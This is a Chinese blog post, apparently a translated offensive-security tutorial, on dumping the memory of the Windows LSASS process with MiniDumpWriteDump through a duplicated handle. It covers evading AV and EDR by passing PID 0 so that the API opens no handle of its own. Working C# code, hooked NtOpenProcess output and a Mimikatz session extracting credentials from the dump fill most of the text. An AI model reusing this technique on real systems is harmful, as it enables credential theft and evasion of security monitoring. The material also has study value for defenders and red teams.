使用重复句柄转储 LSASS

2021-12-29 14:48:15 浏览数 (1)

概述的用例涉及窃取 LSASS 的句柄,因为这可能比直接获取句柄更安全(来自 AV 和 EDR)。这篇文章将演示如何使用这样的句柄通过MiniDumpWriteDump API转储 LSASS 。

本机签名定义如下:

代码语言:javascript复制
BOOL MiniDumpWriteDump(
  [in] HANDLE                            hProcess,
  [in] DWORD                             ProcessId,
  [in] HANDLE                            hFile,
  [in] MINIDUMP_TYPE                     DumpType,
  [in] PMINIDUMP_EXCEPTION_INFORMATION   ExceptionParam,
  [in] PMINIDUMP_USER_STREAM_INFORMATION UserStreamParam,
  [in] PMINIDUMP_CALLBACK_INFORMATION    CallbackParam
);

相关参数是:

  1. 目标进程的句柄。
  2. 目标进程的PID。
  3. 输出文件的句柄。
  4. 要捕获的信息类型。

其余参数是可选的,可以保留为NULL

有几种不同的方式可以在 C# 中表示此 API,但我最喜欢的是SharpDump(使用SafeFileHandle)中的一种:

代码语言:javascript复制
[DllImport("dbghelp.dll")]
public static extern bool MiniDumpWriteDump(
    IntPtr hProcess,
    int processId,
    SafeFileHandle hFile,
    uint dumpType,
    IntPtr exceptionParam,
    IntPtr userStreamParam,
    IntPtr callbackParam);

这是事情再次变得有趣的地方。

有人警告不要在MiniDumpWriteDump 调用使用重复的句柄,因为 API 只会打开自己的 LSASS 句柄,而不是使用提供的句柄。这可以解释为什么它需要 PID,但是如果您还必须自己提供句柄,为什么还要麻烦这样做呢……

如果我们按照 MS 文档的规定调用 API,我们可能会执行以下操作:

代码语言:javascript复制
using var fs = new FileStream(@"C:Tempdebug.bin", FileMode.Create);

Console.WriteLine("Getting handle... ");
var lsass = Process.GetProcessesByName("lsass")[0];

Console.WriteLine("Calling MiniDumpWriteDump...");
var success = Win32.MiniDumpWriteDump(
    lsass.Handle,
    lsass.Id,
    fs.SafeFileHandle,
    2,
    IntPtr.Zero, 
    IntPtr.Zero, 
    IntPtr.Zero);

Console.WriteLine(success ? "Success" : "Failure");

此外,我使用MinHook.NET拦截所有对 NtOpenProcess 的调用并将它们打印到控制台。

代码语言:javascript复制
private static uint NtOpenProcessDetour(ref IntPtr processHandle, Data.PROCESS_ACCESS desiredAccess, ref DInvoke.Data.Native.OBJECT_ATTRIBUTES objectAttributes, ref Data.CLIENT_ID clientId)
{
    var targetPid = (int)clientId.UniqueProcess;
    Console.WriteLine("NtOpenProcess called. Target PID: {0}. Access: {1}", targetPid, desiredAccess);
    
    return _ntOpenProcessOrig(ref processHandle, desiredAccess, ref objectAttributes, ref clientId);
}

运行此程序时,我得到以下输出:

代码语言:javascript复制
Getting handle...
Calling MiniDumpWriteDump...
NtOpenProcess called. Target PID: 1056. Access: PROCESS_ALL_ACCESS
NtOpenProcess called. Target PID: 1056. Access: 2097151
Success

第一个 NtOpenProcess 调用是我们。.NET Process 类中的底层互操作总是使用 1F0FFF 调用 Open Process。第二个调用是 MiniDumpWriteDump 发出的调用。2097151 是十六进制的 1FFFFF,我猜这只是 PROCESS_ALL_ACCESS 的另一种变体。您可以查看 Microsoft 的进程安全和访问权限页面以获取有关可能值的更多信息。

一个好奇是为什么这两个调用都出现在 Console.WriteLine 下方,用于“ Calling MiniDumpWriteDump... ”?为什么我们的调用没有直接出现在“ Getting handle... ”下面?答案是 Process 类在调用 Handle getter 属性之前不会调用 OpenProcess。

我们可以通过重构为:

代码语言:javascript复制
using var fs = new FileStream(@"C:Tempdebug.bin", FileMode.Create);

Console.WriteLine("Getting handle... ");

var lsass = Process.GetProcessesByName("lsass")[0];

Console.WriteLine("Handle: 0x{0:X}n", lsass.Handle.ToInt64());
Console.WriteLine("Calling MiniDumpWriteDump...");

var success = Win32.MiniDumpWriteDump(
    lsass.Handle,
    lsass.Id,
    fs.SafeFileHandle,
    2,
    IntPtr.Zero, 
    IntPtr.Zero, 
    IntPtr.Zero);

Console.WriteLine(success ? "Success" : "Failure");
代码语言:javascript复制
Getting handle...
NtOpenProcess called. Target PID: 1056. Access: PROCESS_ALL_ACCESS
Handle: 0x310

Calling MiniDumpWriteDump...
NtOpenProcess called. Target PID: 1056. Access: 2097151
Success

这不会改变结果,它只是用于区分两个调用。

那么这对于 handle dup 技巧意味着什么呢?如果 MiniDumpWriteDump 只是要把我们扔到总线下,那么避免直接调用 NtOpenProcess 的努力是没有意义的。

事实证明,一个简单的答案是实际上不通过 LSASS 的 PID。而不是 lsass.Id,使用我们自己的 PID 甚至 0。

代码语言:javascript复制
var success = Win32.MiniDumpWriteDump(
    lsass.Handle,
    0,
    fs.SafeFileHandle,
    2,
    IntPtr.Zero, 
    IntPtr.Zero, 
    IntPtr.Zero);

这一次,我得到了以下输出:

代码语言:javascript复制
Getting handle...
NtOpenProcess called. Target PID: 1056. Access: PROCESS_ALL_ACCESS
Handle: 0x314

Calling MiniDumpWriteDump...
Success

输出文件仍然被写入,我用 Mimikatz 验证它可以提取凭据。

代码语言:javascript复制
PS C:> C:Toolsmimikatzx64mimikatz.exe

  .#####.   mimikatz 2.2.0 (x64) #19041 Mar  3 2021 14:57:23
 .## ^ ##.  "A La Vie, A L'Amour" - (oe.eo)
 ## /  ##  /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
 ##  / ##       > https://blog.gentilkiwi.com/mimikatz
 '## v ##'       Vincent LE TOUX             ( vincent.letoux@gmail.com )
  '#####'        > https://pingcastle.com / https://mysmartlogon.com ***/

mimikatz # sekurlsa::minidump C:Tempdebug.bin
Switch to MINIDUMP : 'C:Tempdebug.bin'

mimikatz # sekurlsa::logonpasswords
Opening : 'C:Tempdebug.bin' file for minidump...

Authentication Id : 0 ; 374121 (00000000:0005b569)
Session           : Interactive from 1
User Name         : Daniel
Domain            : GHOST-CANYON
Logon Server      : GHOST-CANYON
Logon Time        : 22/12/2021 10:29:53

blah blah...

我们通过确认重复的句柄确实对 LSASS 开放来结束上一篇文章。

代码语言:javascript复制
var exeName = QueryFullProcessImageName(hDuplicate);
if (!exeName.EndsWith("lsass.exe")) continue;

这只是让我们用我们上面学到的东西调用 MiniDumpWriteDump。

代码语言:javascript复制
Console.WriteLine("Found open handle to LSASS. PID: {0}, Handle: 0x{1:X}", pid, handle.HandleValue);
        
// dump
using var fs = new FileStream(@"C:Tempdebug.bin", FileMode.Create);
        
if (!Win32.MiniDumpWriteDump(_hDuplicate, 0, fs.SafeFileHandle, 2,
        IntPtr.Zero, IntPtr.Zero, IntPtr.Zero))
{
    var error = new Win32Exception(Marshal.GetLastWin32Error());
    Console.WriteLine("MiniDumpWriteDump failed. {0}", error.Message);
}
else
{
    Console.WriteLine("MiniDumpWriteDump successful.");
    DInvoke.DynamicInvoke.Win32.CloseHandle(hProcess);
    return;
}

在运行整个程序之前,将 NtOpenProcess 绕道更改为仅打印属于 LSASS 的 PID。因为 1) 否则控制台会被淹没;2)无论如何,我们只真正关心对 LSASS 的调用。

代码语言:javascript复制
var targetPid = (int)clientId.UniqueProcess;
if (targetPid == _lsassPid)
    Console.WriteLine("NtOpenProcess called. Target PID: {0}. Access: {1}", targetPid, desiredAccess);
代码语言:javascript复制
Our PID: 9168
LSASS PID: 1056
Found open handle to LSASS. PID: 21068, Handle: 0x6B4
MiniDumpWriteDump successful.

0 人点赞